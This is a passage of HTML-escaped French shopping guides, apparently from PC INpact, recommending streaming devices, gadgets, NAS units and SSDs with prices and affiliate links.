+&lt;ul&gt;
+&lt;li&gt;Le Chromecast de Google : &lt;a href="http://pdn.im/1gfe1RC" target="_blank"&gt;50 &amp;agrave; 65 &amp;euro;&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Apple TV : pour ceux qui n'ont pas de Freebox&lt;/h3&gt;
+&lt;p&gt;Si vous n'avez pas de Freebox et que vous voulez afficher du contenu depuis un appareil sous iOS sur votre TV : l'Apple TV est faite pour vous. En effet, celle-ci vous permettra d'afficher des vid&amp;eacute;os ou m&amp;ecirc;me un double de votre &amp;eacute;cran via le W-Fi. Notez qu'elle dispose aussi d'un fonctionnement ind&amp;eacute;pendant.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Vous pourrez alors retrouver l'ensemble des contenus h&amp;eacute;berg&amp;eacute;s dans le&amp;nbsp;&amp;laquo; Cloud &amp;raquo; d'Apple via diff&amp;eacute;rentes applications int&amp;eacute;gr&amp;eacute;es. On notera aussi la pr&amp;eacute;sence de l'iTuines Store, le support des podcasts, la pr&amp;eacute;sence de Canalplay, de YouTube, etc.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]584294[/PDN]&lt;/p&gt;
+&lt;h3&gt;Netgear Push2TV PTV3000 : profitez de WiDi et de Miracast sans changer de TV&lt;/h3&gt;
+&lt;p&gt;Si vous achetez une tablette tactile sous Android ou un Ultrabook, il y a de fortes chances que celui-ci supporte l'affichage sans fil que ce soit via Miracast ou WiDi (Wireless Display). Pour en profiter soit vous avez une t&amp;eacute;l&amp;eacute;vision connect&amp;eacute;e r&amp;eacute;cente supportant cette fonctionnalit&amp;eacute;, soit il est possible de passer par un boitier externe comme le Push2TV PTV-3000 de Netgear.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/120308.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-120308.png" alt="Netgear Push2TV PVT3000 WiDi" width="400" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Celui ci se relie au t&amp;eacute;l&amp;eacute;viseur via une prise HDMI et peut s'alimenter au choix via un port USB, soit par son alimentation fournie.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Amazon : &lt;a href="http://pdn.im/11QEguc" target="_blank"&gt;58,34 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;LDLC : &lt;a href="http://pdn.im/11QE9yQ" target="_blank"&gt;61,90 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Materiel.net : &lt;a href="http://pdn.im/12poobK" target="_blank"&gt;67,79 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Envie de d&amp;eacute;monter vos gadgets ? La trousse d'outils d'iFixit est faite pour vous&lt;/h3&gt;
+&lt;p&gt;&amp;Ecirc;tre un geek ne se limite pas &amp;agrave; acheter des gadgets en tout genre, mais il s'agit bien souvent de comprendre comment ils fonctionnent et de les r&amp;eacute;parer soit m&amp;ecirc;me, dans la mesure du possible. Dans ce domaine, un site fait office de r&amp;eacute;f&amp;eacute;rence : iFixit. De plus, nos confr&amp;egrave;res publient r&amp;eacute;guli&amp;egrave;rement des guides de d&amp;eacute;montages afin de vous aider dans cette t&amp;acirc;che parfois ardue.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141286.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141286.png" alt="iFixit trousse outil" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Depuis peu, ils disposent &amp;eacute;galement d'une boutique en Europe, ce qui permet d'acheter plus facilement leurs produits depuis la France. Ils proposent une trousse &amp;agrave; outils relativement compl&amp;egrave;te pour ceux qui ne sont pas encore &amp;eacute;quip&amp;eacute;s. D'autres kits sont &amp;eacute;galement de la partie &lt;a href="http://eustore.ifixit.com/en/home/" target="_blank"&gt;par ici&lt;/a&gt;.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Trousse &amp;agrave; outils iFixit Pro Tech Toolkit : &lt;a href="http://pdn.im/I3TmUA" target="_blank"&gt;64,95 &amp;euro;&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Transformez votre iPad en borne d'arcade avec un joystick et huit boutons&lt;/h3&gt;
+&lt;p&gt;Revenons dans le domaine du jeu vid&amp;eacute;o avec iCade, une borne d'arcade miniature pour iPad. Elle comprend un logement pour un iPad 1 ou 2, un joystick ainsi que huit boutons. La tablette et l'iCade communiquent entre eux via le Bluetooth.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;iCade, la borne d'arcade pour votre iPad :&amp;nbsp;&lt;a href="http://pdn.im/1dJYwQ8" target="_blank"&gt;80,93 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&lt;a href="http://pdn.im/1dJYwQ8"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141071.jpeg" alt="iCade iPad" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Pour les amateurs de sports extr&amp;ecirc;mes et les r&amp;eacute;alisateurs en herbe : GoPro HD hero 3&lt;/h3&gt;
+&lt;p&gt;Tr&amp;egrave;s &amp;agrave; la mode ces derniers temps, la cam&amp;eacute;ra GoPro a r&amp;eacute;cemment &amp;eacute;t&amp;eacute; mise &amp;agrave; jour avec une nouvelle HD Hero 3+ qui apporte certaines nouveaut&amp;eacute;s int&amp;eacute;ressantes, notamment du c&amp;ocirc;t&amp;eacute; de l'objectif. Suivant votre budget, plusieurs possibilit&amp;eacute;s : la White en entr&amp;eacute;e de gamme, la Silver en moyen de gamme et enfin la Black haut de gamme.&lt;/p&gt;
+&lt;p&gt;[PDN]755619[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les d&amp;eacute;finitions support&amp;eacute;es sont les principales diff&amp;eacute;rences : 1080 @ 30 ips pour la premi&amp;egrave;re, 1080 @ 60 ips pour la deuxi&amp;egrave;me et enfin 4K @ 15 ips pour la derni&amp;egrave;re.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]755613[/PDN]&lt;/p&gt;
+&lt;p&gt;[PDN]814034[/PDN]&lt;/p&gt;
+&lt;h3&gt;Prenez de la hauteur avec de dr&amp;ocirc;ne Parrot &amp;eacute;quip&amp;eacute; d'une cam&amp;eacute;ra 720p&lt;/h3&gt;
+&lt;p&gt;Tr&amp;egrave;s &amp;agrave; la mode ces derniers temps, les quadricopt&amp;egrave;res devraient se retrouver sous le sapin de quelques aventuriers. Ils sont relativement stables et faciles &amp;agrave; prendre en main. Une id&amp;eacute;e de cadeau originale qui devrait faire mouche, pour peu que vous soyez pr&amp;ecirc;t &amp;agrave; d&amp;eacute;bourser 250 euros. Le mod&amp;egrave;le que nous avons s&amp;eacute;lectionn&amp;eacute; int&amp;egrave;gre une cam&amp;eacute;ra capable de filmer en 720p.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a href="http://pdn.im/1dJYOq6"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141072.png" alt="Drone Quadricopt&amp;egrave;re Parrot" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il peut &amp;ecirc;tre pilot&amp;eacute; depuis un appareil sous Android ou iOS&amp;nbsp;et &lt;a href="http://www.pcinpact.com/news/84546-drones-parrot-applications-pour-windows-8-et-windows-phone-8-arrivent.htm" target="_blank"&gt;bient&amp;ocirc;t sous Windows 8 et Windows Phone 8&lt;/a&gt;. Toujours est-il qu'il suffit d'incliner le terminal pour d&amp;eacute;placer le drone et des boutons permettent d'effectuer quelques figures et de prendre des photos/vid&amp;eacute;os.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Un quadricopt&amp;egrave;re Parrot AR Drone 2.0 : &lt;a href="http://www.amazon.fr/s/?_encoding=UTF8&amp;amp;__mk_fr_FR=%C3%83%C2%85M%C3%83%C2%85%C3%85%C2%BD%C3%83%C2%95%C3%83%C2%91&amp;amp;camp=1642&amp;amp;creative=19458&amp;amp;field-keywords=Parrot%20AR.%20Drone%202&amp;amp;linkCode=ur2&amp;amp;tag=p007-21&amp;amp;url=search-alias%3Daps" target="_blank"&gt;&amp;agrave; partir de&amp;nbsp;239,90 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;En cas de d&amp;eacute;sespoir, la montre connect&amp;eacute;e pourra vous sauver&lt;/h3&gt;
+&lt;p&gt;Notez enfin que si vous cherchez vraiment un produit plus inutile qu'indispensable, certains constructeurs proposent depuis peu des montres connect&amp;eacute;es avec une autonomie fam&amp;eacute;lique. Un type de produit qu'on nous pr&amp;eacute;dit d&amp;eacute;j&amp;agrave; comme &lt;a href="http://www.pcinpact.com/news/84607-les-montres-connectees-ne-devraient-pas-etre-grand-succes-a-noe.htm" target="_blank"&gt;le bide de cette fin d'ann&amp;eacute;e&lt;/a&gt;, mais qui est d&amp;eacute;j&amp;agrave; propos&amp;eacute; &amp;agrave; tarif r&amp;eacute;duit (pour la premi&amp;egrave;re g&amp;eacute;n&amp;eacute;ration de Sony) ou via des packs (pour la Gear de Samsung), sans doute afin d'&amp;eacute;couler les stocks.&lt;/p&gt;
+&lt;p&gt;[PDN]714443[/PDN]&lt;/p&gt;
+&lt;p&gt;[PDN]828230[/PDN]&lt;/p&gt;&lt;p&gt;Chaque ann&amp;eacute;e, la quantit&amp;eacute; de donn&amp;eacute;es &amp;agrave; sauvegarder se fait de plus en plus importante, que ce soit avec les photos, les vid&amp;eacute;os ou bien tous les documents dont on dispose sur un ordinateur. Afin d'en profiter en toute libert&amp;eacute; depuis votre r&amp;eacute;seau local ou bien de l'ext&amp;eacute;rieur, nous vous proposons une s&amp;eacute;lection de NAS pour tous les go&amp;ucirc;ts. Certains se contentent de sauvegarder vos fichiers, tandis que d'autres se transforment en v&amp;eacute;ritable bo&amp;icirc;tier multim&amp;eacute;dia.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a href="http://static.pcinpact.com/images/bd/news/124092.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-124092.png" alt="nas synology ds413" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que nous nous sommes volontairement limit&amp;eacute;s aux NAS disposant de deux emplacements minimum, le but &amp;eacute;tant de pouvoir configurer au moins un RAID 1 afin d'assurer une redondance des donn&amp;eacute;es, pratique en cas de panne d'un des disques durs. Pour plus de d&amp;eacute;tails, n'h&amp;eacute;sitez pas &amp;agrave; consulter&amp;nbsp;&lt;a href="http://www.pcinpact.com/dossier/697-nas-interfaces-options-et-applications-on-fait-le-point/1.htm" target="_blank"&gt;notre dossier sur les NAS&lt;/a&gt;, leurs options. Vous y trouverez d'ailleurs des pr&amp;eacute;cisions sur les diff&amp;eacute;rentes interfaces, leurs fonctionnalit&amp;eacute;s, ainsi que des liens vers des versions de tests qui permettent de les comparer.&lt;/p&gt;
+&lt;h3&gt;DLink DNS-320L : un NAS avec deux emplacements pour moins de 80 &amp;euro;&lt;/h3&gt;
+&lt;p&gt;Commen&amp;ccedil;ons de suite avec le DNS-320L de chez DLink, un NAS d'entr&amp;eacute;e de gamme qui ne propose rien d'extravagant, mais qui a l'avantage d'&amp;ecirc;tre vendu &amp;agrave; un prix plancher : moins de 80 &amp;euro;. Il est anim&amp;eacute; par une puce Marvell simple c&amp;oelig;ur &amp;agrave; 1 GHz et il dispose de 256 Mo de m&amp;eacute;moire vive. La connectique ne comprend que deux ports USB 2.0.&lt;/p&gt;
+&lt;p&gt;[PDN]738703[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il ne faudra pas s'attendre &amp;agrave; un foudre de guerre puisqu'il n'est question que d'environ 40 Mo/s en lecture et 25 - 30 Mo/s en &amp;eacute;criture, loin derri&amp;egrave;re les t&amp;eacute;nors du march&amp;eacute; qui d&amp;eacute;passent bien souvent les 100 Mo/s. Il existe en noir et en blanc, les deux d&amp;eacute;clinaisons &amp;eacute;tant vendues sensiblement au m&amp;ecirc;me prix.&lt;/p&gt;
+&lt;p&gt;[PDN]778878[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour 10 &amp;euro; de moins, &lt;a href="http://www.prixdunet.com/boitier-externe/dlink-sharecenter-pulse-dns-320-610796.html" target="_blank"&gt;le DNS-320&lt;/a&gt; est disponible, mais il ne dispose que de 128 Mo de m&amp;eacute;moire et d'un processeur &amp;agrave; 800 MHz seulement, cela devrait forc&amp;eacute;ment se ressentir &amp;agrave; l'usage en diminuant encore les taux de transferts.&lt;/p&gt;
+&lt;h3&gt;Synology DS214se : toujours deux baies avec le DSM en plus, pour moins de 130 &amp;euro;&lt;/h3&gt;
+&lt;p&gt;&lt;a href="http://www.pcinpact.com/news/84221-synology-ds214se-nas-dentree-gamme-avec-deux-baies-des-14799.htm" target="_blank"&gt;Il y a quelques jours&lt;/a&gt; &amp;agrave; peine, Synology d&amp;eacute;voilait officiellement le DS214se, un NAS &amp;agrave; deux baies d'entr&amp;eacute;e de gamme &amp;eacute;quip&amp;eacute; de la fameuse interface maison : le Disk Station Manager, dans sa version 4.3. En effet, celle-ci est bien plut&amp;ocirc;t r&amp;eacute;ussie avec une pr&amp;eacute;sentation graphique sous forme d'un &amp;laquo; bureau &amp;raquo;. Vous pourrez &amp;eacute;galement profiter des nombreuses applications disponibles pour Android et iOS.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141194.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141194.png" alt="Synology DS214se" width="450" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; d&amp;eacute;bit, il est question de 102 Mo/s en lecture et de 58 Mo/s en &amp;eacute;criture, soit le double que ce propose le NAS pr&amp;eacute;c&amp;eacute;dent. Notez que le fabricant dispose d'&lt;a href="http://www.pcinpact.com/news/82748-synology-detail-nas-ds214se-ds214-ds214-et-ds214play.htm" target="_blank"&gt;une gamme plut&amp;ocirc;t cons&amp;eacute;quente de NAS &amp;agrave; deux baies&lt;/a&gt; avec les DS214 (environ &lt;a href="http://pdn.im/1bl8BPz" target="_blank"&gt;237 &amp;euro;&lt;/a&gt;), DS214+ (environ &lt;a href="http://pdn.im/1bl8XWG" target="_blank"&gt;295&amp;nbsp;&amp;euro;&lt;/a&gt;) et DS214play (environ &lt;a href="http://pdn.im/1bl8Gmr" target="_blank"&gt;340 &amp;euro;&lt;/a&gt;). La diff&amp;eacute;rence &amp;eacute;tant &amp;agrave; chercher du c&amp;ocirc;t&amp;eacute; de la connectique et des performances principalement.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;NAS Synology DS214 :&amp;nbsp;&lt;a href="http://pdn.im/1bl8wvg" target="_blank"&gt;122,35 &amp;euro;&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Asustor AS-202TE : toujours deux emplacements et une sortie vid&amp;eacute;o en plus&lt;/h3&gt;
+&lt;p&gt;Continuons &amp;agrave; monter en gamme avec l'AS-202TE r&amp;eacute;cemment d&amp;eacute;voil&amp;eacute; par Asustor. Il dispose de deux emplacements et il est anim&amp;eacute; par un Atom &amp;agrave; 1,2 GHz qui est &amp;eacute;paul&amp;eacute; par 1 Go de DDR3. Une sortie HDMI est de la partie afin de le transformer en bo&amp;icirc;tier multim&amp;eacute;dia si besoin.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141192.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141192.png" alt="Asustot AS-202TE" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il est livr&amp;eacute; avec la derni&amp;egrave;re mouture de l'interface maison : ADM 2.0. Elle reprend le m&amp;ecirc;me principe de fonctionnement que le DSM de Synology et de nombreuses applications sont &amp;eacute;galement disponibles. C&amp;ocirc;t&amp;eacute; performances, il est question de 101 Mo/s en lecture et de 70 Mo/s en &amp;eacute;criture.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;NAS Asustor AS-202TE : &lt;a href="http://pdn.im/18PmJR6" target="_blank"&gt;248 &amp;euro;&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;QNAP TS-269L : CPU Atom, sortie HDMI et&amp;nbsp;plus de 220 Mo/s en lecture et &amp;eacute;criture&lt;/h3&gt;
+&lt;p&gt;Passons maintenant &amp;agrave; un NAS haut de gamme avec toujours deux emplacements S-ATA &amp;laquo; Hot Swap &amp;raquo;&amp;nbsp;de 3,5 pouces : le TS-269L de chez QNAP. Il est anim&amp;eacute; par un processeur Intel Atom cadenc&amp;eacute; &amp;agrave; 1,8 GHz ce qui lui permet d'afficher des d&amp;eacute;bits de plus de 220 Mo/s en lecture et en &amp;eacute;criture, via l'agr&amp;eacute;gation de lien sur les deux ports r&amp;eacute;seau Gigabit bien &amp;eacute;videmment.&lt;/p&gt;
+&lt;p&gt;[PDN]779608[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La connectique comprend deux ports r&amp;eacute;seau Gigabit, trois USB 2.0, deux USB 3.0 ainsi qu'un port eSATA. Il dispose &amp;eacute;galement d'une sortie vid&amp;eacute;o HDMI permettant l&amp;agrave; encore de le transformer en media center si besoin.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Netgear ReadyNAS 104 : un NAS avec quatre emplacements et un prix plancher&lt;/h3&gt;
+&lt;p&gt;Du c&amp;ocirc;t&amp;eacute; des NAS &amp;agrave; quatre baies, nous commen&amp;ccedil;ons notre s&amp;eacute;lection par le Netgear 104. Il s'agit d'un mod&amp;egrave;le d'entr&amp;eacute;e de gamme disponible pour un peu plus de 200 &amp;euro;. Int&amp;eacute;ressant pour ceux qui souhaitent disposer d'un stockage plus cons&amp;eacute;quent ou bien d'une redondance accrue avec un RAiD 10 par exemple.&lt;/p&gt;
+&lt;p&gt;[PDN]794304[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il ne faudra pour autant pas attendre des performances de haut vol, puisqu'il n'est question que d'environ 80 Mo/s en lecture et de 50 Mo/s en &amp;eacute;criture. Bien &amp;eacute;videmment, il est livr&amp;eacute; avec la derni&amp;egrave;re version en date de l'interface du constructeur : ReadyNAS OS 6.&lt;/p&gt;
+&lt;h3&gt;Synology DS413 : quatre baies, performant et une fonction d'&amp;eacute;conomie d'&amp;eacute;nergie&lt;/h3&gt;
+&lt;p&gt;Continuons avec le DS413 de chez Synology. Il s'agit du mod&amp;egrave;le de l'ann&amp;eacute;e derni&amp;egrave;re, mais compar&amp;eacute;e au DS414 r&amp;eacute;cemment annonc&amp;eacute; il dispose d'une fonctionnalit&amp;eacute; int&amp;eacute;ressante : un mode hibernation avanc&amp;eacute; qui lui permet de consommer moins de 4 watts en veille (voir &lt;a href="http://www.pcinpact.com/news/75597-pci-labs-synology-ds413-nas-qui-ne-consomme-que-23-w-au-repos.htm" target="_blank"&gt;notre PCi Labs&lt;/a&gt;).&lt;/p&gt;
+&lt;p&gt;[PDN]750329[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Un seul port r&amp;eacute;seau Gigabit est de la partie et ses d&amp;eacute;bits sont de 110 Mo/s en lecture et de 80 Mo/s en &amp;eacute;criture. Bien &amp;eacute;videmment, deux ports USB 3.0, un USB 2.0 ainsi qu'un port eSATA sont de la partie.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si ce mode hibernation ne vous int&amp;eacute;resse pas, mais que vous souhaitez &amp;agrave; la place des performances plus &amp;eacute;lev&amp;eacute;es, le DS414 est &amp;eacute;galement disponible.&amp;nbsp;Il a &amp;eacute;t&amp;eacute; r&amp;eacute;cemment lanc&amp;eacute; par Synology et il est vendu pour un prix relativement proche.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;NAS Synology DS414 :&amp;nbsp;&lt;a href="http://pdn.im/1iqXYlI" target="_blank"&gt;409,95 &amp;euro;&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;VHS-x VX de Ve-Hotech : Core i3 / i5, tuners TNT et machines virtuelles, d&amp;egrave;s 549 &amp;euro;&lt;/h3&gt;
+&lt;p&gt;Grimpons encore d'un cran avec les NAS VHS-x VS de chez Ve-Hotech, le fabricant Fran&amp;ccedil;ais. Ils sont anim&amp;eacute;s par un processeur Intel &lt;a href="http://ark.intel.com/products/53427/" target="_blank"&gt;Core i3 2120T&lt;/a&gt; ou &lt;a href="http://ark.intel.com/products/55446/" target="_blank"&gt;Core i5 2405S&lt;/a&gt; (en option) et misent sur le multim&amp;eacute;dia et la virtualisation afin de sortir du lot.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/141129.png" alt="VeHotech VHS-4 VX" width="500" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En effet, vous pouvez ajouter jusqu'&amp;agrave; quatre tuners TNT HD afin d'enregistrer&amp;nbsp;et de diffuser plusieurs programmes simultan&amp;eacute;ment. Ils peuvent &amp;eacute;galement lancer jusqu'&amp;agrave; huit machines virtuelles en m&amp;ecirc;me temps, ce qui pourrait en int&amp;eacute;resser certains.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Plusieurs d&amp;eacute;clinaisons avec deux, quatre, six et huit emplacements sont disponibles, les caract&amp;eacute;ristiques techniques restent &amp;agrave; chaque fois les m&amp;ecirc;mes, seul le ch&amp;acirc;ssis change. Le choix se fera donc en fonction de votre budget et de vos besoins, mais nous devions en mettre un en avant, ce serait le VHS-4 VX qui semble &amp;ecirc;tre un bon compromis si vous n'arrivez pas &amp;agrave; vous d&amp;eacute;cider :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;NAS VeHotech VHS-x VX :&amp;nbsp;&lt;a href="http://pdn.im/12sBAg5" target="_blank"&gt;&amp;agrave; partir de 549 &amp;euro;&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;&lt;p&gt;Cette ann&amp;eacute;e, le petit monde du SSD n'a pas beaucoup boug&amp;eacute;. En effet, malgr&amp;eacute; quelques annonces du c&amp;ocirc;t&amp;eacute; de &lt;a href="http://www.pcinpact.com/news/76659-crucial-m500-nouveaux-ssd-qui-se-veulent-performants-et-attractifs.htm" target="_blank"&gt;Crucial avec les M500&lt;/a&gt; ou d'&lt;a href="http://www.pcinpact.com/news/84326-revue-presse-vector-150-nouveaux-ssd-ocz-a-partir-09-go.htm" target="_blank"&gt;OCZ avec les Vector 150&lt;/a&gt;, les nouveaux mod&amp;egrave;les ne sont pas l&amp;eacute;gion. Pour autant, les prix ont encore baiss&amp;eacute; sensiblement et les SSD de 240 / 256 Go se trouvent facilement &amp;agrave; &lt;a href="http://www.prixdunet.com/disque-dur/?574=240-go%2C240go%2C256go%2C256-go&amp;amp;578=interne-ssd&amp;amp;order=price_asc" target="_blank"&gt;moins de 150 euros&lt;/a&gt; par exemple.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a href="http://static.pcinpact.com/images/bd/news/140208.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-140208.png" alt="SSD Plextor PX-512M5P" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Afin de ne pas se retrouver trop vite limit&amp;eacute; par la capacit&amp;eacute; de stockage, nous avons d&amp;eacute;cid&amp;eacute; de comment notre s&amp;eacute;lection avec des SSD de 120 Go minimum. Cela permet d'installer sans aucun probl&amp;egrave;me un syst&amp;egrave;me d'exploitation ainsi que quelques jeux / applications, sans pour autant se retrouver &amp;agrave; l'&amp;eacute;troit. Pour les plus gourmands, nous avons &amp;eacute;galement s&amp;eacute;lectionn&amp;eacute; des mod&amp;egrave;les de 256 Go et m&amp;ecirc;me de presque 1 To.&lt;/p&gt;
+&lt;h3&gt;Kingston V300 : un SSD de 120 Go pour 70 &amp;euro;, gagner en r&amp;eacute;activit&amp;eacute; &amp;agrave; petit prix&lt;/h3&gt;
+&lt;p&gt;Nous commen&amp;ccedil;ons avec &lt;a href="http://www.prixdunet.com/disque-dur/?574=120go%2C120-go%2C128go%2C128-go&amp;amp;578=interne-ssd&amp;amp;order=rate_desc" target="_blank"&gt;un SSD de 128 Go&lt;/a&gt; de chez Kingston : le V300. Il est annonc&amp;eacute; pour 450 Mo/s en lecture et en &amp;eacute;criture, ce qui n'en fait pas le plus rapide, mais cela reste suffisant pour une utilisation standard. Quoi qu'il en soit, vous gagnerez de toute fa&amp;ccedil;on &amp;eacute;norm&amp;eacute;ment en r&amp;eacute;activit&amp;eacute;, le temps d'acc&amp;egrave;s &amp;eacute;tant dans tous les cas sans commune mesure avec un disque dur traditionnel.&lt;/p&gt;
+&lt;p&gt;[PDN]768940[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que Kingston n'est pas le seul fabricant &amp;agrave; proposer des SSD dans ces tarifs l&amp;agrave;. L'Ultra Plus de 128 Go de Sandisk est ainsi disponible &lt;a href="http://www.prixdunet.com/disque-dur/sandisk-ultra-plus-128go-ssd-sata-iii-sdssdhp-128g-g25--768952.html" target="_blank"&gt;&amp;agrave; partir de 78 &amp;euro; environ&lt;/a&gt;, tandis que le Crucial M500 de 128 Go se trouve &lt;a href="http://www.prixdunet.com/disque-dur/crucial-ct120m500ssd1-m500-128go-ssd-sata-iii-782854.html" target="_blank"&gt;&amp;agrave; partir de 80 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;h3&gt;Plextor M5P : plus haut de gamme, le kit de transfert parfois propos&amp;eacute; en bundle&lt;/h3&gt;
+&lt;p&gt;Pour une vingtaine d'euros de plus, il sera toujours possible de vous tourner vers un Plextor M5P de 128 Go. Ce dernier est plus v&amp;eacute;loce et il a l'avantage d'&amp;ecirc;tre garanti pendant cinq ans, un point pas forc&amp;eacute;ment n&amp;eacute;gligeable.&lt;/p&gt;
+&lt;p&gt;[PDN]745229[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que certains revendeurs proposent le kit de transfert pour le m&amp;ecirc;me prix, c'est par exemple le cas de &lt;a href="http://pdn.im/RDDMfE" target="_blank"&gt;Materiel.net&lt;/a&gt;. Pour rappel, il comprend un bo&amp;icirc;tier externe USB ainsi qu'un logiciel de clonage pour vous aider &amp;agrave; changer facilement votre HDD par un SSD, sans devoir r&amp;eacute;installer votre syst&amp;egrave;me d'exploitation.&lt;/p&gt;
+&lt;h3&gt;Besoin de plus de place ? Le 335 Series d'Intel vous tend les bras&lt;/h3&gt;
+&lt;p&gt;Passons maintenant aux &lt;a href="http://www.prixdunet.com/disque-dur/?574=240-go%2C240go%2C256go%2C256-go&amp;amp;578=interne-ssd&amp;amp;order=rate_desc" target="_blank"&gt;mod&amp;egrave;les de plus grosses capacit&amp;eacute;s&lt;/a&gt;, en commen&amp;ccedil;ant par le 335 Series d'Intel dans sa version de 240 Go. Il exploite un contr&amp;ocirc;leur SandForce 2281 et il est annonc&amp;eacute; avec des d&amp;eacute;bits de 500 Mo/s en lecture et de 450 Mo/s en &amp;eacute;criture, mais sur des donn&amp;eacute;es compressibles uniquement. La garantie propos&amp;eacute;e est de trois ans.&lt;/p&gt;
+&lt;p&gt;[PDN]762201[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
